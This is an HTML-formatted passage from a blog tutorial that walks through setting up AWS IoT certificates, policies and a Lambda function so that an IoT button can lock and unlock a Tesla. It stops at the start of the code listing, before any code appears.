&lt;p&gt;If you need to create a certificate, click on the &lt;strong&gt;Create&lt;/strong&gt; button on the top right corner, and choose one of the options shown in the image below. In most cases you would want to use the &lt;strong&gt;One-click certificate&lt;/strong&gt; option.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/6-certificate-creation.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Certificate creation options&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Once you create a Certificate, you get three files (these are the keys) that you need to download and keep safe. The certificate itself can be downloaded anytime, but the private and the public keys &lt;strong&gt;CANNOT&lt;/strong&gt; be retrieved again after you close this page. It is &lt;strong&gt;IMPORTANT&lt;/strong&gt; that you download these and save them in a safe place.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/7-certificate-keys.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Certificate Keys&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once you have these downloaded then click on Activate on the bottom. And you should see a different certificate number than what you are seeing here. And don&amp;rsquo;t worry I have long deleted what you are seeing on this screen. :)&lt;/p&gt;
&lt;p&gt;You can also see these in the &lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/create-device-certificate.html%ef%bb%bf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		developer guide
	&lt;/span&gt;
&lt;/a&gt; on AWS documentation.&lt;/p&gt;
&lt;h3 id=&#34;step-5---create-a-iot-security-policy&#34;&gt;Step 5 - Create a IoT Security Policy&lt;/h3&gt;
&lt;p&gt;Next step is go back to the &lt;a
	
		href = &#34;https://console.aws.amazon.com/iot/home&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		AWS IoT Console page
	&lt;/span&gt;
&lt;/a&gt; and click on Policies under Security. This is used to create a IoT policy that you will need to attach to the certificate. Once you have a policy created, then it will look something like the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/8-iot-policies.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;IoT Policies&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To create a policy, click on Create (or you might be prompted automatically if you don&amp;rsquo;t have one). On the create screen, in the &lt;strong&gt;Name&lt;/strong&gt; you can enter anything that you prefer. I would suggest naming this something that you can remember and differentiate if you will have more than one button. In my case I named it as the same thing as my device.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the policy statements for &lt;strong&gt;Action&lt;/strong&gt; enter &amp;ldquo;iot:Connect&amp;rdquo; - without the quotes, but this is case sensitive so make sure you match is exactly.&lt;/li&gt;
&lt;li&gt;For the &lt;strong&gt;Resource&lt;/strong&gt; ARN enter &amp;ldquo;*&amp;rdquo; (again without the quotes) as shown below.&lt;/li&gt;
&lt;li&gt;And finally for the effect, make sure &amp;ldquo;&lt;strong&gt;Allow&lt;/strong&gt;&amp;rdquo; is checked.&lt;/li&gt;
&lt;li&gt;And click on &lt;strong&gt;Create&lt;/strong&gt; at the bottom.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/9-policy-creation.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;IoT Policy Creation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;After this is created this you will see the policies listed as shown below. You can see the new one we just created with &amp;ldquo;&lt;em&gt;WhateverNameYouWillRecognize&lt;/em&gt;&amp;rdquo;. You can also see these and more details on the developer documentation - &lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/create-iot-policy.html%ef%bb%bf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Create a AWS IoT Policy
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/10-iot-policies-listed.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;IoT Policies&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-6---attach-a-iot-policy&#34;&gt;Step 6 - Attach a IoT Policy&lt;/h3&gt;
&lt;p&gt;Next step is to attach the policy that is just created to the certificate created earlier. To do that, click on Secure and Certificates on the left, and then click on the three dots (called ellipses) on the top right of the Certificate you created earlier. From the new menu that you get, choose &amp;ldquo;&lt;strong&gt;Attach Policy&lt;/strong&gt;&amp;rdquo; as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/11-attach-policy.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Attach Policy to Certificate&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;From the resulting menu, select the policy that you had created earlier and select &lt;strong&gt;Attach&lt;/strong&gt;. Using a sensible name that you would recognize would be helpful. You can also see these details on the &lt;a
	
		href = &#34;http://%ef%bb%bfhttps://docs.aws.amazon.com/iot/latest/developerguide/attach-policy-to-certificate.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		developer documentation
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/12-attach-policy-to-cert.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Attach Policy to Certificate&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-7---attach-certificate-to-iot-device&#34;&gt;Step 7 - Attach Certificate to IoT Device&lt;/h3&gt;
&lt;p&gt;Next step is to attach the certificate to the IoT device (or thing). A device must have a certificate, a private key and a root CA certificate to authenticate with AWS. Amazon also recommends to attach a device certificate to the device - this probably isn&amp;rsquo;t helpful right now, but might be in the future if you start playing with this more.&lt;/p&gt;
&lt;p&gt;To do this, select the certificate under Security on the left, and same as the previous step, by click on the three dots on the top right corner, select &amp;ldquo;Attach thing&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/13-attach-cert-menu.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Attach Certificate&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And from the next screen select the IoT button that you registered earlier, and select &amp;ldquo;Attach&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/14-attach-cert-screen.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Attach Certificate&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-8---configure-iot-button&#34;&gt;Step 8 - Configure IoT Button&lt;/h3&gt;
&lt;p&gt;To validate that everything is setup correctly - the certificate needs to be associated with a policy, and a thing (the IoT button in our case). So on the Certificates menu on the left, select your certificate by clicking on it (not the three dots this time - but rather the name). You will see a new screen that shows the details of the certificate as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/15-cert-details.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Certificate Details&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And on the new menu on the left, if you click on Policies you should see the policy you created, and the Things should have the IoT button you created earlier.&lt;/p&gt;
&lt;p&gt;Once all of this is done the next step is to configure the device. You can see more detailed steps on this on the developer &lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/configure-iot.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		guide here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;KEY TIP&lt;/strong&gt;: The documentation doesn&amp;rsquo;t make it too obvious, but as part of configuring - the device (IoT Button) will become an access point that you will need to connect to and upload the certificates and key you created earlier. You cannot do this from a phone and it is best done from a desktop/laptop that has wifi network. Whilst these days all laptops will have a wifi network card, that isn&amp;rsquo;t necessarily true for desktops. So use a machine which has a wifi that you can temporarily connect to the access point that the IoT device creates.&lt;/li&gt;
&lt;li&gt;Note this is only needed for getting the device configured to authenticate for AWS, and get on your Wifi network; once that is done you don&amp;rsquo;t need to do this.&lt;/li&gt;
&lt;li&gt;Once you have configured the device as outlined (&lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/configure-iot.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://docs.aws.amazon.com/iot/latest/developerguide/configure-iot.html
	&lt;/span&gt;
&lt;/a&gt;) then continue to the next step.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;step-9---deploy-some-code&#34;&gt;Step 9 - Deploy some code&lt;/h3&gt;
&lt;p&gt;At last we are starting to get the interesting part - a lot of what we were doing until now, was getting the button configured and ready.&lt;/p&gt;
&lt;p&gt;Now that you have a IoT button configured and registered, the next step is to deploy some code. For this you need to setup a Lambda function using the &lt;a
	
		href = &#34;https://console.aws.amazon.com/lambda/home&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		AWS Lambda Console
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When you login, click on Create Function. On the &lt;strong&gt;Create function&lt;/strong&gt; screen, choose the &lt;strong&gt;Blueprints&lt;/strong&gt; option as shown below. You can see some of these in the developer &lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/iot-button-lambda.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		documentation here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/12-Create-function.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Create Function screen&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-10---blueprint-search&#34;&gt;Step 10 - Blueprint Search&lt;/h3&gt;
&lt;p&gt;On the Blueprints search box (which says Filters by tags), type in &amp;ldquo;&lt;strong&gt;button&lt;/strong&gt;&amp;rdquo; (without quotes) and press enter. You should see an option called &amp;ldquo;&lt;strong&gt;iot-button-email&lt;/strong&gt;&amp;rdquo; as shown below, select that and click &lt;strong&gt;configure&lt;/strong&gt; on the bottom right corner.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/13-Create-function-iot-button.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;IoT Button filter&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-11---basic-information&#34;&gt;Step 11 - Basic Information&lt;/h3&gt;
&lt;p&gt;On the next screen that says &amp;ldquo;Basic information&amp;rdquo;, enter the details as shown below. The names should be meaningful for you to remember. Roles can be reused across other areas, for now you can use a simple name something like &amp;ldquo;unlockCar&amp;rdquo; or &amp;ldquo;unlockCarSomeName&amp;rdquo; if you have more than one vehicle. The policy template should already be populated and you shouldn’t need to do anything else.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/14-function-basic-info.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Function basic information&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;For the 2nd half - AWS IoT Trigger, select the IoT type as &amp;ldquo;IoT Button&amp;rdquo; and enter your device serial number as outlined in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/15-IoT-trigger.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;IoT Trigger&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;It won&amp;rsquo;t hurt to download these certificate and keys in addition to the ones created separately and save them in different folders. And for the Lambda function code, it doesn’t matter on the template code as we will be deleting it all. At this point that will be read-only and you won&amp;rsquo;t be able to modify anything - as shown in the screen shot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/16-Lambda-function.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Lambda function&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally scrolling down more, you will see the environment variables. Here is where you need to specify your Tesla credentials to it to be able to use create the token and call the Tesla API. For that you need the following two variables: &lt;strong&gt;TESLA_EMAIL&lt;/strong&gt; and &lt;strong&gt;TESLA_PASS&lt;/strong&gt;. These case sensitive so you need to enter them as is. And then finally click on Create function.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/17-environment-variables.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Environment Variables&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-12---code-upload&#34;&gt;Step 12 - Code upload&lt;/h3&gt;
&lt;p&gt;Once you create a function, you will see something like the screen below. In my case the function is called &amp;ldquo;unlockSquirty&amp;rdquo; which is what you are seeing. This is divided in to two parts - when on the Configuration page. The top part is the designer that visually shows you what inputs are the triggers that execute the function, and then what it outputs to on the right hand side.  And below the designer is the editor where one can edit the code inline or upload a zip file with the code.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/18-unlock-squirty.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;In the function code section, on the first drop down in the left (Code entry type) select upload a .zip file.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/19-function-code-source.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And on the next screen upload the function package that you can &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/download/iot-button-lambda-function-package-unlock-tesla&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download from here.
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make sure the Runtime is Node.js 8.10&lt;/li&gt;
&lt;li&gt;Keep the Handler as the default.&lt;/li&gt;
&lt;li&gt;Double check your Environment variable contain TESLA_EMAIL, and TESLA_PASS.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/20-function-code.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And scroll down and in the Basic settings, change the &lt;strong&gt;timeout&lt;/strong&gt; to &lt;strong&gt;1 minute&lt;/strong&gt;. We run thus asynchronously and adding a little buffer would be better. You can leave all the other settings at their default. If your network might be iffy you can make this 2 mins.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/21-env-setting.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Environment Settings&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-13---code-publish&#34;&gt;Step 13 - Code Publish&lt;/h3&gt;
&lt;p&gt;Once you have entered all of this, click on &lt;strong&gt;Save&lt;/strong&gt; on the top right corner and then &lt;strong&gt;publish&lt;/strong&gt; new version. Finally once it is published you will be able to see the code show up as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/22-code.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Again, a single click will unlock the car, a double-click would lock it, and a long press (holding it for 2-3 seconds) would open the charge port door.&lt;/p&gt;
&lt;p&gt;And here is the code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
